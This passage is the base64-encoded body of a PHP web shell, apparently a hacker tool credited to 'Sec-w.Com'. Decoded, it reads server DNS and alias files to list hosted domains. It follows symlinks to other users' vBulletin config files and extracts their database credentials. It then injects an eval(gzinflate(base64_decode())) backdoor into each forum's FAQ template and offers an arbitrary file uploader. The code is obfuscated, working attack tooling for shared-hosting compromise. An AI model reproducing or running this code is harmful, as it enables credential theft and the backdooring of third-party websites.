QoNCmZvcmVhY2ggKCRleCBhcyAkZXhwKXsNCg0KDQoNCiRlcyAgID0gZXhwbG9kZSgifHwiLCRleHApOw0KDQoNCg0KJGNvbmZpZyA9ICRlc1swXTsNCg0KDQoNCiRkb21pbiA9ICRlc1sxXTsNCg0KDQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCg0KDQokcmVhZGNvbmZpZyAgPSBAZmlsZV9nZXRfY29udGVudHModHJpbSgkY29uZmlnKSk7DQoNCg0KDQppZihlcmVnKCd2QnVsbGV0aW4nLCRyZWFkY29uZmlnKSl7DQoNCg0KDQoNCg0KDQoNCiRkYiAgICAgID0gIGV4KCRyZWFkY29uZmlnLCckY29uZmlnWydEYXRhYmFzZSddWydkYm5hbWUnXSA9ICcnLCInOyIpOw0KDQoNCg0KJHVzZXJkYiAgPSAgZXgoJHJlYWRjb25maWcsJyRjb25maWdbJ01hc3RlclNlcnZlciddWyd1c2VybmFtZSddID0gJycsIic7Iik7DQoNCg0KDQokcGFzcyAgICA9ICBleCgkcmVhZGNvbmZpZywnJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3Bhc3N3b3JkJ10gPSAnJywiJzsiKTsNCg0KDQoNCiRjb24gICAgID0gQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXJkYiwkcGFzcyk7DQoNCg0KDQokZGIgICAgICA9IEBteXNxbF9zZWxlY3RfZGIoJGRiLCRjb24pOw0KDQoNCg0KJHNoZWxsICAgPSAiYlZEUFM4TXdGTDRML2crdllaQVdkUFBpYVV2MTRrQVFGS3FuVVVxYXBqU1lOS0ZKeENuNzMyMmFiZ3pjSWZEeXZsK1A3L3FLczA0RDN0UzVzSjk2TU1KOWIrb2hEdzh2VFdjcTMxUEYwMnlKcC9XcXp2RWFaazJyQndXVU9hRjdnaEFvN2pyZEVHUzBkUWg0ejl6ZWNJS1VsMDRZT3JoVjROODIxRkVFd1pRZ2I2U21EUjhRaU9ic2R4WWhldU1kUktOV1NINVV4dG1LbjNHK3YwUDVUSXhnTlRxaFdXUjlyWVNMQVhIL1JhVWZnWThwYlZST1o0VkkwYWF3cU41ZWkvY2REbFJjQWlGd0pFSUd2NEh5eUxUWnA0dHErL3p5Vk94d09BU1hPK3lVcVVJNkxtL2dIeGlCTERpYzZvNjJVSGpHdUxXUUpFa285OVQ5R2c3QXBlVVhKRnNxNUVYK0FSN3lQdz09IiA7DQoNCg0KDQokY3J5cHQgID0gInske2V2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJyI7DQoNCg0KDQokY3J5cHQgLj0gIiRzaGVsbCI7DQoNCg0KDQokY3J5cHQgLj0gIicpKSl9fXske2V4aXQoKX19PC90ZXh0YXJlYT4iOw0KDQoNCg0KJHNxbGZhcSA9ICJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kY3J5cHQuIicgV0hFUkUgdGl0bGUgPSdGQVEnIiA7DQoNCg0KDQokcXVlcnkgID0gQG15c3FsX3F1ZXJ5KCRzcWxmYXEsJGNvbik7DQoNCg0KDQoNCg0KDQoNCmlmICgkcXVlcnkpeyRyID0gJzxiIHN0eWxlPSJjb2xvcjogIzAwNjYwMCI+U3VjY2VlZDwvYj4gc2hlbGwgaW4gc2VhcmNoLnBocCc7fQ0KDQoNCg0KZWxzZQ0KDQoNCg0Kew0KDQoNCg0KJHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7DQoNCg0KDQp9DQoNCg0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQoNCg0KZWNobyAiPHRyPg0KDQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSckY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQp9ZWxzZXsNCg0KDQoNCmVjaG8gIjx0cj4NCg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+DQoNCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD48YiBzdHlsZT0nY29sb3I6cmVkJz5mYWlsZWQyPC9iPjwvdGQ+PC90cj4iOw0KDQp9DQoNCg0KDQp9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQpkaWUoKTsNCg0KDQoNCn0NCg0KDQoNCmlmKCFpc19maWxlKCduYW1lZC50eHQnKSl7DQoNCg0KDQokZDAwbSA9IGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KDQoNCg0KfWVsc2V7DQoNCg0KDQokZDAwbSA9IGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCg0KDQoNCn0NCg0KaWYoISRkMDBtKQ0KDQp7DQoNCg0KDQogICAgICAgICAgICAgICAgZGllICgiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPT9zd3M9cmVhZCcvPiIpOw0KDQp9DQoNCmVsc2UNCg0KDQoNCnsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCg0KPGZvcm0gbWV0aG9kPSdQT1NUJyBhY3Rpb249JyRwZz9zd3M9dmInPg0KDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nSW5qZWN0IHNoZWxsJyAvPg0KDQo8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nMScgbmFtZT0ncycgLz4NCg0KPC9mb3JtPg0KDQo8YnIgLz48YnIgLz4NCg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQoNCg0KJGYgPSBmb3BlbigndmIudHh0JywndycpOw0KDQoNCg0KZm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsNCg0KDQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCg0KDQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQoNCg0KaWYoc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCg0KDQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCg0KJHdwbD0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvaW5jbHVkZXMvY29uZmlnLnBocCI7DQoNCiR3cHA9Z2V0X2hlYWRlcnMoJHdwbCk7DQoNCiR3cD0kd3BwWzBdOw0KDQoNCg0KJHdwMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvdmIvaW5jbHVkZXMvY29uZmlnLnBocCI7DQoNCiR3cHAyPWdldF9oZWFkZXJzKCR3cDIpOw0KDQokd3AxMj0kd3BwMlswXTsNCg0KDQoNCiR3cDM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KDQokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsNCg0KJHdwMTM9JHdwcDNbMF07DQoNCg0KDQoNCg0KIC8vLy8vLy8vLy8gdmIgLy8vLy8vLy8vLy8vDQoNCg0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KDQokY29uZmlnPSImbmJzcDsiOw0KDQoNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCg0Kew0KDQogJGNvbmZpZz0gJHdwbDsNCg0KfQ0KDQplbHNlaWYgKHN0cnBvcygkd3AxMiwgIjIwMCIpID09IHRydWUpDQoNCnsNCg0KICAkY29uZmlnPSAkd3AyOw0KDQp9DQoNCmVsc2VpZiAoc3RycG9zKCR3cDEzLCAiMjAwIikgPT0gdHJ1ZSkNCg0Kew0KDQogICRjb25maWc9ICR3cDM7DQoNCn0NCg0KZWxzZQ0KDQp7DQoNCmNvbnRpbnVlOw0KDQoNCg0KfQ0KDQpmbHVzaCgpOw0KDQoNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCg0KDQokdyA9IGZ3cml0ZSgkZiwiJGNvbmZpZ3x8JGRvbSBuIik7DQoNCmlmKCR3KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlNhdmU8L2I+Jzt9ZWxzZXskciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+Jzt9DQoNCg0KDQoNCg0KZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tc3dzWzFdWzBdLiI+Ii4kZG9tc3dzWzFdWzBdLiI8L2E+PC90ZD4NCg0KPHRkPjxhIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQpmbHVzaCgpOw0KDQoNCg0KDQoNCn0NCg0KfQ0KDQp9DQoNCn0NCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQpicmVhazsNCg0KDQoNCmNhc2UgJ2hlbHAnOg0KDQoNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD5mdW5jdGlvbjwvdGQ+PHRkPkNhc2U8L3RkPiI7DQoNCg0KDQoNCg0KJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KDQogICAgIGlmKCRzYWZlX21vZGUpeyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30NCg0KDQoNCmVjaG8gIjx0cj48dGQ+U2FmZSBNb2RlPC90ZD48dGQ+JHI8L3RkPiI7DQoNCg0KDQokZnVuID0gZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJyk7DQoNCiAgICAgaWYoISRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30NCg0KDQoNCmVjaG8gIjx0cj48dGQ+ZnVuY3Rpb24gc3ltbGluazwvdGQ+PHRkPiRyPC90ZD4iOw0KDQoNCg0KDQoNCiRmdW4gPSBmdW5jdGlvbl9leGlzdHMoJ2ZpbGUnKTsNCg0KICAgICBpZighJGZ1bil7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPkZhbHNlPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiAjMzM2NjAwJz5UcnVlPC9iPiI7fQ0KDQoNCg0KZWNobyAiPHRyPjx0ZD5mdW5jdGlvbiBmaWxlPC90ZD48dGQ+JHI8L3RkPiI7DQoNCg0KDQokZnVuID0gZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpOw0KDQogICAgIGlmKCEkZnVuKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+RmFsc2U8L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6ICMzMzY2MDAnPlRydWU8L2I+Ijt9DQoNCg0KDQplY2hvICI8dHI+PHRkPmZ1bmN0aW9uIGZpbGVfZ2V0X2NvbnRlbnRzPC90ZD48dGQ+JHI8L3RkPiI7DQoNCg0KDQokZnVuID0gZnVuY3Rpb25fZXhpc3RzKCdta2RpcicpOw0KDQogICAgIGlmKCEkZnVuKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+RmFsc2U8L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6ICMzMzY2MDAnPlRydWU8L2I+Ijt9DQoNCg0KDQplY2hvICI8dHI+PHRkPmZ1bmN0aW9uIG1rZGlyPC90ZD48dGQ+JHI8L3RkPiI7DQoNCg0KDQoNCg0KJGZ1biA9IGlzX2Rpcignc3ltL3Jvb3QnKTsNCg0KICAgICBpZighJGZ1bil7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPkZhbHNlPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiAjMzM2NjAwJz5UcnVlPC9iPiI7fQ0KDQoNCg0KZWNobyAiPHRyPjx0ZD5QZXJtaXNzaW9uIGRlbmllZDwvdGQ+PHRkPiRyPC90ZD4iOw0KDQoNCg0KDQoNCiRmdW4gPSBwcmVnX21hdGNoKCcvRm9yYmlkZGVuLycsQGZpbGVfZ2V0X2NvbnRlbnRzKCdzeW0vcm9vdCcpIG9yICFAZmlsZV9nZXRfY29udGVudHMoJ3N5bS9yb290JykpOw0KDQogICAgIGlmKCRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzAwNjYwMCc+VHJ1ZTwvYj4iO30NCg0KDQoNCmVjaG8gIjx0cj48dGQ+Rm9yYmlkZGVuPC90ZD48dGQ+JHI8L3RkPiI7DQoNCg0KDQoNCg0KDQoNCg0KDQplY2hvICI8L3RhYmxlPjwvZGl2PiI7DQoNCg0KDQoNCg0KDQoNCmJyZWFrOw0KDQpkZWZhdWx0Og0KDQpoZWFkZXIoIkxvY2F0aW9uOiAkcGciKTsNCg0KDQoNCg0KDQoNCg0KDQoNCn0NCg0KDQoNCg0KDQovLy8gaG9tZSAvLy8NCg0KfWVsc2UNCg0Kew0KDQoNCg0KDQoNCmVjaG8gJzxiciAvPjxiciAvPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQoNCmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiB2YWx1ZT0iQ2hvb3NlIGZpbGUiIHNpemU9IjYwIiA+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOw0KDQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoNCglpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8YnIgLz48YnIgLz48Yj5VcGxvYWRlZCBzdWNjZXNzZnVsICEhPGJyPjxicj4nOyB9DQoNCgllbHNlIHsgZWNobyAnPGJyIC8+PGJyIC8+Tm90IHVwbG9hZGVkICEhPGJyPjxicj4nOyB9DQoNCg0KDQoNCg0KfQ0KDQoNCg0KICAgIGVjaG8gJw0KDQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+Q29kM2QgYnkgPGI+UzNuNHQwMHI8L2I+IElkZWEgYnkgPGI+TXIuQWxzYTNlazwvYj4NCg0KPGJyIC8+PGJyIC8+DQoNCjxiIHN0eWxlPSJjb2xvcjogcmVkIjs+ICAgU2VjLXcuQ29tICA8L2I+DQoNCjxiciAvPjxiciAvPg0KDQpNdXNsaW1zIEhhY2tlcnM8L2Rpdj4gJzsNCg0KDQoNCn0NCg0KDQoNCg0KDQpmdW5jdGlvbiBleCgkdGV4dCwkYSwkYil7DQoNCiRleHBsb2RlID0gZXhwbG9kZSgkYSwkdGV4dCk7DQoNCiRleHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7DQoNCnJldHVybiAkZXhwbG9kZVswXTsNCg0KfQ0KDQoNCg0KDQoNCg0KDQplY2hvICc8L2Rpdj4NCg0KDQoNCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9IiYjMTU3NTsmIzE2MDQ7JiMxNTgxOyYjMTYwNTsmIzE1NzU7JiMxNjEwOyYjMTYwNzsiL2hyZWY9Imh0dHA6Ly9zZWMtdy5jb20vY2MiPiYjMTU3NTsmIzE2MDQ7JiMxNTgxOyYjMTYwNTsmIzE1NzU7JiMxNjEwOyYjMTYwNzs8L2E+DQoNCg0KDQo8YSBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogI0Y0RjRGNDsiIHRpdGxlPSImIzE1OTM7JiMxNTc1OyYjMTYwNDsmIzE2MDU7ICYjMTU3NTsmIzE2MDQ7JiMxNTgxOyYjMTYwNTsmIzE1NzU7JiMxNjEwOyYjMTYwNzsiL2hyZWY9Imh0dHA6Ly9zZWMtdy5jb20vY2MiPiYjMTU5MzsmIzE1NzU7JiMxNjA0OyYjMTYwNTsgJiMxNTc1OyYjMTYwNDsmIzE1ODE7JiMxNjA1OyYjMTU3NTsmIzE2MTA7JiMxNjA3OzwvYT4NCg0KDQoNCg0KDQoNCg0KPC9ib2R5Pg0KDQoNCg0KPC9odG1sPg0KDQonOw0KDQoNCg0KPz4=")); ?>